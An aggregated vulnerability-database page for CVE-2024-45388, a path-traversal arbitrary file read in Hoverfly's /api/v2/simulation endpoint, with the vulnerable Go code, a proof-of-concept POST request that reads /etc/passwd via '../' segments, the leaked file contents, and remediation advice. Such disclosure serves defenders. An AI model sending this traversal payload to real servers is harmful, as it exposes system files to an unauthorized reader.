cve-2024-45388

Vulnerability from cvelistv5

Published

2024-09-02 16:07

Modified

2024-09-03 14:22

Severity ?

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/")`). This issue is also tracked as GHSL-2023-274.

References

URL	Tags
security-advisories@github.com	https://codeql.github.com/codeql-query-help/go/go-path-injection	Not Applicable
security-advisories@github.com	https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3	Release Notes
security-advisories@github.com	https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897	Exploit, Vendor Advisory
security-advisories@github.com	https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87	Product

Impacted products

Vendor

Product

Version

▼

SpectoLabs

hoverfly

Version: < 1.10.3

Show details on NVD website

JSON

To clipboard

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}

ghsa-6xx4-x46f-f897

Vulnerability from github

Published

2024-09-03 21:01

Modified

2024-09-06 21:41

Severity ?

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
8.7 (High) - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Summary

Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`)

Details

The /api/v2/simulation POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.

```go

https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186

func (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) { if filepath.IsAbs(filePath) { return "", fmt.Errorf("bodyFile contains absolute path (%s). only relative is supported", filePath) }

fileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))
if err != nil {
    return "", err
}

return string(fileContents[:]), nil

} ```

Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the hf.Cfg.ResponsesBodyFilesPath base path by using ../ segments and reach any arbitrary files.

This issue was found using the Uncontrolled data used in path expression CodeQL query for python.

Proof of Concept

Send the following POST request to read the /etc/passwd file:

```http POST /api/v2/simulation HTTP/1.1 Host: localhost:8888 Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 128

{"data":{"pairs":[{ "request":{},"response": { "bodyFile": "../../../../../etc/passwd"}} ]},"meta":{"schemaVersion":"v5.2"}}

```

Response will contain the Hoverfly's server /etc/passwd ``` HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 Date: Tue, 19 Dec 2023 20:59:16 GMT Content-Length: 1494 Connection: close

{"data":{"pairs":[{"request":{},"response":{"status":0,"body":"root:x:0:0:root:/root:/bin/ash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/mail:/sbin/nologin\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nman:x:13:15:man:/usr/man:/sbin/nologin\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\ngames:x:35:35:games:/usr/games:/sbin/nologin\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\nguest:x:405:100:guest:/dev/null:/sbin/nologin\nnobody:x:65534:65534:nobody:/:/sbin/nologin\n","bodyFile":"../../../../../etc/passwd","encodedBody":false,"templated":false}}],"globalActions":{"delays":[],"delaysLogNormal":[]}},"meta":{"schemaVersion":"v5.2","hoverflyVersion":"v1.6.1","timeExported":"2023-12-19T20:59:16Z"}}

```

Impact

This issue may lead to Information Disclosure.

Remediation

The code is preventing absolute paths from being read. Make sure the final path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)) is contained within the expected base path (filepath.Join(hf.Cfg.ResponsesBodyFilesPath, "/"))

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/spectolabs/hoverfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/SpectoLabs/hoverfly"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2024-45388"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-200",
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-09-03T21:01:53Z",
    "nvd_published_at": "2024-09-02T18:15:38Z",
    "severity": "HIGH"
  },
  "details": "### Details\n\nThe `/api/v2/simulation` [POST handler](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87) allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server.\n\n```go\n# https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186\nfunc (hf *Hoverfly) readResponseBodyFile(filePath string) (string, error) {\n\tif filepath.IsAbs(filePath) {\n\t\treturn \"\", fmt.Errorf(\"bodyFile contains absolute path (%s). only relative is supported\", filePath)\n\t}\n\n\tfileContents, err := ioutil.ReadFile(filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath))\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(fileContents[:]), nil\n}\n```\n\nNote that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files.\n\nThis issue was found using the [Uncontrolled data used in path expression CodeQL query for python](https://codeql.github.com/codeql-query-help/go/go-path-injection/).\n#### Proof of Concept\n\nSend the following `POST` request to read the `/etc/passwd` file:\n\n```http\nPOST /api/v2/simulation HTTP/1.1\nHost: localhost:8888\nConnection: close\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 128\n\n{\"data\":{\"pairs\":[{\n\"request\":{},\"response\": {\n\"bodyFile\": \"../../../../../etc/passwd\"}} ]},\"meta\":{\"schemaVersion\":\"v5.2\"}}\n\n```\n\nResponse will contain the Hoverfly\u0027s server `/etc/passwd`\n```\nHTTP/1.1 200 OK\nContent-Type: application/json; charset=utf-8\nDate: Tue, 19 Dec 2023 20:59:16 GMT\nContent-Length: 1494\nConnection: close\n\n{\"data\":{\"pairs\":[{\"request\":{},\"response\":{\"status\":0,\"body\":\"root:x:0:0:root:/root:/bin/ash\\nbin:x:1:1:bin:/bin:/sbin/nologin\\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\\nadm:x:3:4:adm:/var/adm:/sbin/nologin\\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\\nsync:x:5:0:sync:/sbin:/bin/sync\\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\\nhalt:x:7:0:halt:/sbin:/sbin/halt\\nmail:x:8:12:mail:/var/mail:/sbin/nologin\\nnews:x:9:13:news:/usr/lib/news:/sbin/nologin\\nuucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin\\noperator:x:11:0:operator:/root:/sbin/nologin\\nman:x:13:15:man:/usr/man:/sbin/nologin\\npostmaster:x:14:12:postmaster:/var/mail:/sbin/nologin\\ncron:x:16:16:cron:/var/spool/cron:/sbin/nologin\\nftp:x:21:21::/var/lib/ftp:/sbin/nologin\\nsshd:x:22:22:sshd:/dev/null:/sbin/nologin\\nat:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin\\nsquid:x:31:31:Squid:/var/cache/squid:/sbin/nologin\\nxfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin\\ngames:x:35:35:games:/usr/games:/sbin/nologin\\ncyrus:x:85:12::/usr/cyrus:/sbin/nologin\\nvpopmail:x:89:89::/var/vpopmail:/sbin/nologin\\nntp:x:123:123:NTP:/var/empty:/sbin/nologin\\nsmmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin\\nguest:x:405:100:guest:/dev/null:/sbin/nologin\\nnobody:x:65534:65534:nobody:/:/sbin/nologin\\n\",\"bodyFile\":\"../../../../../etc/passwd\",\"encodedBody\":false,\"templated\":false}}],\"globalActions\":{\"delays\":[],\"delaysLogNormal\":[]}},\"meta\":{\"schemaVersion\":\"v5.2\",\"hoverflyVersion\":\"v1.6.1\",\"timeExported\":\"2023-12-19T20:59:16Z\"}}\n\n```\n\n#### Impact\n\nThis issue may lead to Information Disclosure.\n#### Remediation\n\nThe code is [preventing absolute paths from being read](https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186). Make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`)",
  "id": "GHSA-6xx4-x46f-f897",
  "modified": "2024-09-06T21:41:35Z",
  "published": "2024-09-03T21:01:53Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45388"
    },
    {
      "type": "WEB",
      "url": "https://codeql.github.com/codeql-query-help/go/go-path-injection"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/SpectoLabs/hoverfly"
    },
    {
      "type": "WEB",
      "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3"
    },
    {
      "type": "WEB",
      "url": "https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Hoverfly allows an arbitrary file read in the `/api/v2/simulation` endpoint (`GHSL-2023-274`)"
}

cve-2024-45388

Vulnerability from fkie_nvd

Published

2024-09-02 18:15

Modified

2024-09-19 15:18

Severity ?

7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
7.5 (High) - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Summary

References

URL	Tags
security-advisories@github.com	https://codeql.github.com/codeql-query-help/go/go-path-injection	Not Applicable
security-advisories@github.com	https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3	Release Notes
security-advisories@github.com	https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897	Exploit, Vendor Advisory
security-advisories@github.com	https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87	Product

Impacted products

	Vendor	Product	Version
	hoverfly	hoverfly	*

JSON

To clipboard

{
  "configurations": [
    {
      "nodes": [
        {
          "cpeMatch": [
            {
              "criteria": "cpe:2.3:a:hoverfly:hoverfly:*:*:*:*:*:*:*:*",
              "matchCriteriaId": "2D7086F2-88B8-4148-A8AB-7A49B10DBED1",
              "versionEndExcluding": "1.10.3",
              "vulnerable": true
            }
          ],
          "negate": false,
          "operator": "OR"
        }
      ]
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "Hoverfly is a lightweight service virtualization/ API simulation / API mocking tool for developers and testers. The `/api/v2/simulation` POST handler allows users to create new simulation views from the contents of a user-specified file. This feature can be abused by an attacker to read arbitrary files from the Hoverfly server. Note that, although the code prevents absolute paths from being specified, an attacker can escape out of the `hf.Cfg.ResponsesBodyFilesPath` base path by using `../` segments and reach any arbitrary files. This issue was found using the Uncontrolled data used in path expression CodeQL query for python. Users are advised to make sure the final path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) is contained within the expected base path (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). This issue is also tracked as GHSL-2023-274."
    },
    {
      "lang": "es",
      "value": "Hoverfly es una herramienta liviana de simulaci\u00f3n de API/virtualizaci\u00f3n de servicios/simulaci\u00f3n de API para desarrolladores y evaluadores. El controlador POST `/api/v2/simulation` permite a los usuarios crear nuevas vistas de simulaci\u00f3n a partir del contenido de un archivo especificado por el usuario. Un atacante puede abusar de esta caracter\u00edstica para leer archivos arbitrarios del servidor Hoverfly. Tenga en cuenta que, aunque el c\u00f3digo evita que se especifiquen rutas absolutas, un atacante puede escapar de la ruta base `hf.Cfg.ResponsesBodyFilesPath` mediante segmentos `../` y llegar a cualquier archivo arbitrario. Este problema se encontr\u00f3 utilizando la consulta CodeQL de expresi\u00f3n de ruta de datos no controlados para Python. Se recomienda a los usuarios asegurarse de que la ruta final (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, filePath)`) est\u00e9 contenida dentro de la ruta base esperada (`filepath.Join(hf.Cfg.ResponsesBodyFilesPath, \"/\")`). Este problema tambi\u00e9n se registra como GHSL-2023-274."
    }
  ],
  "id": "CVE-2024-45388",
  "lastModified": "2024-09-19T15:18:32.007",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      },
      {
        "cvssData": {
          "attackComplexity": "LOW",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 7.5,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "NONE",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 3.9,
        "impactScore": 3.6,
        "source": "nvd@nist.gov",
        "type": "Primary"
      }
    ]
  },
  "published": "2024-09-02T18:15:38.063",
  "references": [
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Not Applicable"
      ],
      "url": "https://codeql.github.com/codeql-query-help/go/go-path-injection"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Release Notes"
      ],
      "url": "https://github.com/SpectoLabs/hoverfly/releases/tag/v1.10.3"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Exploit",
        "Vendor Advisory"
      ],
      "url": "https://github.com/SpectoLabs/hoverfly/security/advisories/GHSA-6xx4-x46f-f897"
    },
    {
      "source": "security-advisories@github.com",
      "tags": [
        "Product"
      ],
      "url": "https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/handlers/v2/simulation_handler.go#L87"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Analyzed",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-200"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    },
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "nvd@nist.gov",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

cve-2024-45388

Vulnerability from cvelistv5

ghsa-6xx4-x46f-f897

Vulnerability from github

Details

https://github.com/spectolabs/hoverfly/blob/15d6ee9ea4e0de67aec5a41c28d21dc147243da0/core/hoverfly_funcs.go#L186

Proof of Concept

Impact

Remediation

cve-2024-45388

Vulnerability from fkie_nvd

Tags

Sightings

Nomenclature